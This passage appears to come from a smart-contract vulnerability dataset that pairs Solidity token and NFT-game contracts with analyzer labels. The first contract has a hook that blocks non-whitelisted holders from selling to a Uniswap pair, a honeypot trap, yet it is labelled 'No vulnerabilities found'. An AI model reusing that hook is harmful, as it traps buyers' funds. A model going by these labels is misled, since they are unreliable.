* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
} | No vulnerabilities found |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LZZ is ERC20,Ownable{
using SafeMath for uint256;
string public constant name="LZZTEST";
string public symbol="LZZ";
string public constant version = "1.0";
uint256 public constant decimals = 18;
uint256 public totalSupply;
uint256 public constant MAX_SUPPLY=210000000*10**decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event GetETH(address indexed _from, uint256 _value);
//owner一次性获取代币
function LZZ(){
totalSupply=MAX_SUPPLY;
balances[msg.sender] = MAX_SUPPLY;
Transfer(0x0, msg.sender, MAX_SUPPLY);
}
//允许用户往合约账户打币
function () payable external
{
GetETH(msg.sender,msg.value);
}
function etherProceeds() external
onlyOwner
{
if(!msg.sender.send(this.balance)) revert();
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance)
{
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact |
pragma solidity 0.4.23;
// 'WFIT' token contract
//
// Symbol : WFIT
// Name : WristFitness
// Total supply: 100,000,000
// Decimals : 18
//
// WristFitness 2018
// Safe maths
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// Owned contract
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ERC20 Token, with the addition of symbol, name and decimals
contract WristFitness is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// Constructor
constructor() public {
balances[msg.sender] = 100000000000000000000000000;
_totalSupply = 100000000000000000000000000;
symbol = "WFIT";
name = "WristFitness";
decimals = 18;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// Total supply
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// Get the token balance for account tokenOwner
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// Transfer the balance from token owner's account to to account
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// Transfer tokens from the from account to the to account
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// Token owner can approve for spender to transferFrom(...) tokens
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// Don't accept ETH
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SafeMath {
function safeSub(uint a, uint b) pure internal returns (uint) {
sAssert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
sAssert(c>=a && c>=b);
return c;
}
function sAssert(bool assertion) internal pure {
if (!assertion) {
revert();
}
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address toAcct, uint value) public returns (bool ok);
function transferFrom(address fromAcct, address toAcct, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed fromAcct, address indexed toAcct, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Burn(address indexed fromAcct, uint256 value);
function transfer(address _toAcct, uint _value) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_toAcct] = safeAdd(balances[_toAcct], _value);
Transfer(msg.sender, _toAcct, _value);
return true;
}
function transferFrom(address _fromAcct, address _toAcct, uint _value) public returns (bool success) {
var _allowance = allowed[_fromAcct][msg.sender];
balances[_toAcct] = safeAdd(balances[_toAcct], _value);
balances[_fromAcct] = safeSub(balances[_fromAcct], _value);
allowed[_fromAcct][msg.sender] = safeSub(_allowance, _value);
Transfer(_fromAcct, _toAcct, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract from the sender
totalSupply = safeSub(totalSupply,_value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
}
contract USDXCoin is Ownable, StandardToken {
string public name;
string public symbol;
uint public decimals;
uint public totalSupply;
/// @notice Initializes the contract and allocates all initial tokens to the owner and agreement account
function USDXCoin() public {
totalSupply = 10 * (10**6) * (10**6);
balances[msg.sender] = totalSupply;
name = "USDX";
symbol = "USDX";
decimals = 6;
}
function () payable public{
}
/// @notice To transfer token contract ownership
/// @param _newOwner The address of the new owner of this contract
function transferOwnership(address _newOwner) public onlyOwner {
balances[_newOwner] = safeAdd(balances[owner], balances[_newOwner]);
balances[owner] = 0;
Ownable.transferOwnership(_newOwner);
}
// Owner can transfer out any ERC20 tokens sent in by mistake
function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner returns (bool success)
{
return ERC20(tokenAddress).transfer(owner, amount);
}
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function mintToken(address _toAcct, uint256 _value) public onlyOwner {
balances[_toAcct] = safeAdd(balances[_toAcct], _value);
totalSupply = safeAdd(totalSupply, _value);
Transfer(0, this, _value);
Transfer(this, _toAcct, _value);
}
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact
2) locked-ether with Medium impact |
//SPDX-License-Identifier: A hedgehog wrote this contract
pragma solidity ^0.8.0;
import "./Doomsday.sol";
contract DoomsdayViewerPatch{
Doomsday doomsday;
uint constant IMPACT_BLOCK_INTERVAL = 120;
int64 constant MAP_WIDTH = 4320000; //map units
int64 constant MAP_HEIGHT = 2588795; //map units
int64 constant BASE_BLAST_RADIUS = 100000; //map units
constructor(address _doomsday){
doomsday = Doomsday(_doomsday);
}
function nextImpactIn() public view returns(uint){
// uint nextEliminationBlock = block.number - (block.number % IMPACT_BLOCK_INTERVAL) + IMPACT_BLOCK_INTERVAL - 5 ;
//goes from BLOCK - (IMPACT_BLOCK_INTERVAL-1) - 5 to BLOCK - 5
uint eliminationBlock = block.number - (block.number % IMPACT_BLOCK_INTERVAL) - 5;
return IMPACT_BLOCK_INTERVAL - ((block.number - 5) - eliminationBlock);
// return nextEliminationBlock + 5 - block.number;
}
function nextImpact() public view returns (int64[2] memory _coordinates, int64 _radius, bytes32 impactId){
if(nextImpactIn() >= 5){
return (_coordinates,_radius,impactId);
}
// uint eliminationBlock = block.number - (block.number % IMPACT_BLOCK_INTERVAL) - 5;
uint eliminationBlock = (block.number+5) - ((block.number + 5) % IMPACT_BLOCK_INTERVAL) - 5;
// uint nextEliminationBlock = block.number - (block.number % IMPACT_BLOCK_INTERVAL) - 5;
// if(eliminationBlock)
int hash = int(uint(blockhash(eliminationBlock))%uint(type(int).max) );
//Min radius is half map height divided by num
int o = MAP_HEIGHT/2/int(doomsday.totalSupply()+1);
//Limited in smallness to about 8% of map height
if(o < BASE_BLAST_RADIUS){
o = BASE_BLAST_RADIUS;
}
//Max radius is twice this
_coordinates[0] = int64(hash%MAP_WIDTH - MAP_WIDTH/2);
_coordinates[1] = int64((hash/MAP_WIDTH)%MAP_HEIGHT - MAP_HEIGHT/2);
_radius = int64((hash/MAP_WIDTH/MAP_HEIGHT)%o + o);
return(_coordinates,_radius, keccak256(abi.encodePacked(_coordinates,_radius)));
}
function contractState() public view returns(
uint totalSupply,
uint destroyed,
uint evacuatedFunds,
Doomsday.Stage stage,
uint currentPrize,
bool _isEarlyAccess,
uint countdown,
uint _nextImpactIn,
uint blockNumber
){
stage = doomsday.stage();
return (
doomsday.totalSupply(),
doomsday.destroyed(),
doomsday.evacuatedFunds(),
stage,
doomsday.currentPrize(),
false,
0,
nextImpactIn(),
block.number
);
}
}
// Like the food not the animal
//SPDX-License-Identifier: Cool kids only
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IERC165.sol";
import "./interfaces/IERC721.sol";
import "./interfaces/IERC721Metadata.sol";
import "./interfaces/IERC721TokenReceiver.sol";
contract Doomsday is IERC721, IERC165, IERC721Metadata{
constructor(bytes32 _cityRoot, address _earlyAccessHolders){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
// supportedInterfaces[0x780e9d63] = true; //ERC721Enumerable
supportedInterfaces[0x01ffc9a7] = true; //ERC165
owner = msg.sender;
cityRoot = _cityRoot;
earlyAccessHolders = _earlyAccessHolders;
}
address public owner;
address earlyAccessHolders;
//////===721 Implementation
mapping(address => uint256) internal balances;
mapping (uint256 => address) internal allowance;
mapping (address => mapping (address => bool)) internal authorised;
uint16[] tokenIndexToCity; //Array of all tokens [cityId,cityId,...]
mapping(uint256 => address) owners; //Mapping of owners
// keep owners mapping
// use tokenIndexToCity for isValidToken
// METADATA VARS
string private __name = "Doomsday NFT";
string private __symbol = "BUNKER";
bytes private __uriBase = bytes("https://gateway.pinata.cloud/ipfs/QmUwPH9PmTQrT67M633AJRXACsecmRTihf4DUbJZb9y83M/");
bytes private __uriSuffix = bytes(".json");
// Game vars
uint constant MAX_CITIES = 38611; //from table
int64 constant MAP_WIDTH = 4320000; //map units
int64 constant MAP_HEIGHT = 2588795; //map units
int64 constant BASE_BLAST_RADIUS = 100000; //map units
uint constant MINT_COST = 0.04 ether;
uint constant MINT_PERCENT_WINNER = 50;
uint constant MINT_PERCENT_CALLER = 25;
uint constant MINT_PERCENT_CREATOR = 25;
uint constant REINFORCE_PERCENT_WINNER = 90;
uint constant REINFORCE_PERCENT_CREATOR = 10;
uint constant IMPACT_BLOCK_INTERVAL = 120;
mapping(uint16 => uint) public cityToToken;
mapping(uint16 => int64[2]) coordinates;
bytes32 cityRoot;
event Inhabit(uint16 indexed _cityId, uint256 indexed _tokenId);
event Reinforce(uint256 indexed _tokenId);
event Impact(uint256 indexed _tokenId);
mapping(uint => bytes32) structuralData;
function getStructuralData(uint _tokenId) public view returns (uint8 reinforcement, uint8 damage, bytes32 lastImpact){
bytes32 _data = structuralData[_tokenId];
reinforcement = uint8(uint(((_data << 248) >> 248)));
damage = uint8(uint(((_data << 240) >> 240) >> 8));
lastImpact = (_data >> 16);
return (reinforcement, damage, lastImpact);
}
function setStructuralData(uint _tokenId, uint8 reinforcement, uint8 damage, bytes32 lastImpact) internal{
bytes32 _reinforcement = bytes32(uint(reinforcement));
bytes32 _damage = bytes32(uint(damage)) << 8;
bytes32 _lastImpact = encodeImpact(lastImpact) << 16;
structuralData[_tokenId] = _reinforcement ^ _damage ^ _lastImpact;
}
function encodeImpact(bytes32 _impact) internal pure returns(bytes32){
return (_impact << 16) >> 16;
}
uint public reinforcements;
uint public destroyed;
uint public evacuatedFunds;
uint ownerWithdrawn;
bool winnerWithdrawn;
function tokenToCity(uint _tokenId) public view returns(uint16){
return tokenIndexToCity[_tokenId - 1];
}
uint public startTime;
uint SALE_TIME = 7 days;
uint EARLY_ACCESS_TIME = 1 days;
function startPreApocalypse() public{
require(msg.sender == owner,"owner");
require(startTime == 0,"started");
startTime = block.timestamp;
}
enum Stage {Initial,PreApocalypse,Apocalypse,PostApocalypse}
function stage() public view returns(Stage){
if(startTime == 0){
return Stage.Initial;
}else if(block.timestamp < startTime + SALE_TIME && tokenIndexToCity.length < MAX_CITIES){
return Stage.PreApocalypse;
}else if(destroyed < tokenIndexToCity.length - 1){
return Stage.Apocalypse;
}else{
return Stage.PostApocalypse;
}
}
function inhabit(uint16 _cityId, int64[2] calldata _coordinates, bytes32[] memory proof) public payable{
require(stage() == Stage.PreApocalypse,"stage");
if(block.timestamp < startTime + EARLY_ACCESS_TIME){
//First day is insiders list
require(IERC721(earlyAccessHolders).balanceOf(msg.sender) > 0,"early");
}
bytes32 leaf = keccak256(abi.encodePacked(_cityId,_coordinates[0],_coordinates[1]));
require(MerkleProof.verify(proof, cityRoot, leaf),"proof");
require(cityToToken[_cityId] == 0 && coordinates[_cityId][0] == 0 && coordinates[_cityId][1] == 0,"inhabited");
require(
_coordinates[0] >= -MAP_WIDTH/2 &&
_coordinates[0] <= MAP_WIDTH/2 &&
_coordinates[1] >= -MAP_HEIGHT/2 &&
_coordinates[1] <= MAP_HEIGHT/2,
"off map"
); //Not strictly necessary but proves the whitelist hasnt been fucked with
require(msg.value == MINT_COST,"cost");
coordinates[_cityId] = _coordinates;
tokenIndexToCity.push(_cityId);
uint _tokenId = tokenIndexToCity.length;
balances[msg.sender]++;
owners[_tokenId] = msg.sender;
cityToToken[_cityId] = _tokenId;
emit Inhabit(_cityId, _tokenId);
emit Transfer(address(0),msg.sender,_tokenId);
}
function isUninhabited(uint16 _cityId) public view returns(bool){
return coordinates[_cityId][0] == 0 && coordinates[_cityId][1] == 0;
}
function reinforce(uint _tokenId) public payable{
Stage _stage = stage();
require(_stage == Stage.PreApocalypse || _stage == Stage.Apocalypse,"stage");
require(ownerOf(_tokenId) == msg.sender,"owner");
//Covered by ownerOf
// require(isValidToken(_tokenId),"invalid");
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
if(_stage == Stage.Apocalypse){
require(!checkVulnerable(_tokenId,_lastImpact),"vulnerable");
}
// covered by isValidToken
//require(_damage <= _reinforcement,"eliminated" );
require(msg.value == (2 ** _reinforcement) * MINT_COST,"cost");
setStructuralData(_tokenId,_reinforcement+1,_damage,_lastImpact);
reinforcements += msg.value - (MINT_COST * MINT_PERCENT_CALLER / 100);
emit Reinforce(_tokenId);
}
function evacuate(uint _tokenId) public{
Stage _stage = stage();
require(_stage == Stage.PreApocalypse || _stage == Stage.Apocalypse,"stage");
require(ownerOf(_tokenId) == msg.sender,"owner");
// covered by isValidToken in ownerOf
// require(_damage <= _reinforcement,"eliminated" );
if(_stage == Stage.Apocalypse){
require(!isVulnerable(_tokenId),"vulnerable");
}
uint cityCount = tokenIndexToCity.length;
uint fromPool =
//Winner fee from mints less evacuated funds
((MINT_COST * cityCount * MINT_PERCENT_WINNER / 100 - evacuatedFunds)
//Divided by remaining tokens
/ totalSupply())
//Divided by two
/ 2;
//Also give them the admin fee
uint toWithdraw = fromPool + getEvacuationRebate(_tokenId);
balances[owners[_tokenId]]--;
delete cityToToken[tokenToCity(_tokenId)];
destroyed++;
//Doesnt' include admin fees in evacedFunds
evacuatedFunds += fromPool;
emit Transfer(owners[_tokenId],address(0),_tokenId);
payable(msg.sender).send(
toWithdraw
);
}
function getEvacuationRebate(uint _tokenId) public view returns(uint) {
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
_lastImpact;
return MINT_COST * (1 + _reinforcement - _damage) * MINT_PERCENT_CALLER / 100;
}
function confirmHit(uint _tokenId) public{
require(stage() == Stage.Apocalypse,"stage");
require(isValidToken(_tokenId),"invalid");
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
// covered by isValidToken
// require(_damage <= _reinforcement,"eliminated" );
require(checkVulnerable(_tokenId,_lastImpact),"vulnerable");
(int64[2] memory _coordinates, int64 _radius, bytes32 _impactId) = currentImpact();
_coordinates;_radius;
_impactId = encodeImpact(_impactId);
emit Impact(_tokenId);
if(_damage < _reinforcement){
_damage++;
setStructuralData(_tokenId,_reinforcement,_damage,_impactId);
}else{
balances[owners[_tokenId]]--;
delete cityToToken[tokenToCity(_tokenId)];
destroyed++;
emit Transfer(owners[_tokenId],address(0),_tokenId);
}
payable(msg.sender).send(MINT_COST * MINT_PERCENT_CALLER / 100);
}
function winnerWithdraw(uint _winnerTokenId) public{
require(stage() == Stage.PostApocalypse,"stage");
require(isValidToken(_winnerTokenId),"invalid");
// Implicitly makes sure its the right token since all others don't exist
require(msg.sender == ownerOf(_winnerTokenId),"ownerOf");
require(!winnerWithdrawn,"withdrawn");
winnerWithdrawn = true;
uint toWithdraw = winnerPrize(_winnerTokenId);
if(toWithdraw > address(this).balance){
//Catch rounding errors
toWithdraw = address(this).balance;
}
payable(msg.sender).send(toWithdraw);
}
function ownerWithdraw() public{
require(msg.sender == owner,"owner");
uint cityCount = tokenIndexToCity.length;
// Dev and creator portion of all mint fees collected
uint toWithdraw = MINT_COST * cityCount * (MINT_PERCENT_CREATOR) / 100
//plus reinforcement for creator
+ reinforcements * REINFORCE_PERCENT_CREATOR / 100
//less what has already been withdrawn;
- ownerWithdrawn;
require(toWithdraw > 0,"empty");
if(toWithdraw > address(this).balance){
//Catch rounding errors
toWithdraw = address(this).balance;
}
ownerWithdrawn += toWithdraw;
payable(msg.sender).send(toWithdraw);
}
function currentImpact() public view returns (int64[2] memory _coordinates, int64 _radius, bytes32 impactId){
uint eliminationBlock = block.number - (block.number % IMPACT_BLOCK_INTERVAL) - 5;
int hash = int(uint(blockhash(eliminationBlock))%uint(type(int).max) );
//Min radius is half map height divided by num
int o = MAP_HEIGHT/2/int(totalSupply()+1);
//Limited in smallness to about 8% of map height
if(o < BASE_BLAST_RADIUS){
o = BASE_BLAST_RADIUS;
}
//Max radius is twice this
_coordinates[0] = int64(hash%MAP_WIDTH - MAP_WIDTH/2);
_coordinates[1] = int64((hash/MAP_WIDTH)%MAP_HEIGHT - MAP_HEIGHT/2);
_radius = int64((hash/MAP_WIDTH/MAP_HEIGHT)%o + o);
return(_coordinates,_radius, keccak256(abi.encodePacked(_coordinates,_radius)));
}
function checkVulnerable(uint _tokenId, bytes32 _lastImpact) internal view returns(bool){
(int64[2] memory _coordinates, int64 _radius, bytes32 _impactId) = currentImpact();
if(_lastImpact == encodeImpact(_impactId)) return false;
uint16 _cityId = tokenToCity(_tokenId);
int64 dx = coordinates[_cityId][0] - _coordinates[0];
int64 dy = coordinates[_cityId][1] - _coordinates[1];
return (dx**2 + dy**2 < _radius**2) ||
((dx + MAP_WIDTH )**2 + dy**2 < _radius**2) ||
((dx - MAP_WIDTH )**2 + dy**2 < _radius**2);
}
function isVulnerable(uint _tokenId) public view returns(bool){
(uint8 _reinforcement, uint8 _damage, bytes32 _lastImpact) = getStructuralData(_tokenId);
_reinforcement;_damage;
return checkVulnerable(_tokenId,_lastImpact);
}
function getFallen(uint _tokenId) public view returns(uint16 _cityId, address _owner){
_cityId = tokenToCity(_tokenId);
_owner = owners[_tokenId];
require(cityToToken[_cityId] == 0 && _owner != address(0),"survives");
return (_cityId,owners[_tokenId]);
}
function currentPrize() public view returns(uint){
uint cityCount = tokenIndexToCity.length;
// 50% of all mint fees collected
return MINT_COST * cityCount * MINT_PERCENT_WINNER / 100
//minus fees removed
- evacuatedFunds
//plus reinforcement * 90%
+ reinforcements * REINFORCE_PERCENT_WINNER / 100;
}
function winnerPrize(uint _tokenId) public view returns(uint){
return currentPrize() + getEvacuationRebate(_tokenId);
}
///ERC 721:
function isValidToken(uint256 _tokenId) internal view returns(bool){
if(_tokenId == 0) return false;
return cityToToken[tokenToCity(_tokenId)] != 0;
}
function balanceOf(address _owner) external override view returns (uint256){
return balances[_owner];
}
function ownerOf(uint256 _tokenId) public override view returns(address){
require(isValidToken(_tokenId),"invalid");
return owners[_tokenId];
}
function approve(address _approved, uint256 _tokenId) external override {
address _owner = ownerOf(_tokenId);
require( _owner == msg.sender //Require Sender Owns Token
|| authorised[_owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(_owner, _approved, _tokenId);
allowance[_tokenId] = _approved;
}
function getApproved(uint256 _tokenId) external override view returns (address) {
require(isValidToken(_tokenId),"invalid");
return allowance[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external override view returns (bool) {
return authorised[_owner][_operator];
}
function setApprovalForAll(address _operator, bool _approved) external override {
emit ApprovalForAll(msg.sender,_operator, _approved);
authorised[msg.sender][_operator] = _approved;
}
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
//Check Transferable
//There is a token validity check in ownerOf
address _owner = ownerOf(_tokenId);
require ( _owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| allowance[_tokenId] == msg.sender //or is approved for this token
|| authorised[_owner][msg.sender] //or is approved for all
,"permission");
require(_owner == _from,"owner");
require(_to != address(0),"zero");
require(!isVulnerable(_tokenId),"vulnerable");
emit Transfer(_from, _to, _tokenId);
owners[_tokenId] =_to;
balances[_from]--;
balances[_to]++;
//Reset approved if there is one
if(allowance[_tokenId] != address(0)){
delete allowance[_tokenId];
}
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public override {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
IERC721TokenReceiver receiver = IERC721TokenReceiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
safeTransferFrom(_from,_to,_tokenId,"");
}
// METADATA FUNCTIONS
function tokenURI(uint256 _tokenId) public override view returns (string memory){
//Note: changed visibility to public
require(isValidToken(_tokenId),'tokenId');
uint _cityId = tokenToCity(_tokenId);
uint _i = _cityId;
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(abi.encodePacked(__uriBase,bstr,__uriSuffix));
}
function name() external override view returns (string memory _name){
return __name;
}
function symbol() external override view returns (string memory _symbol){
return __symbol;
}
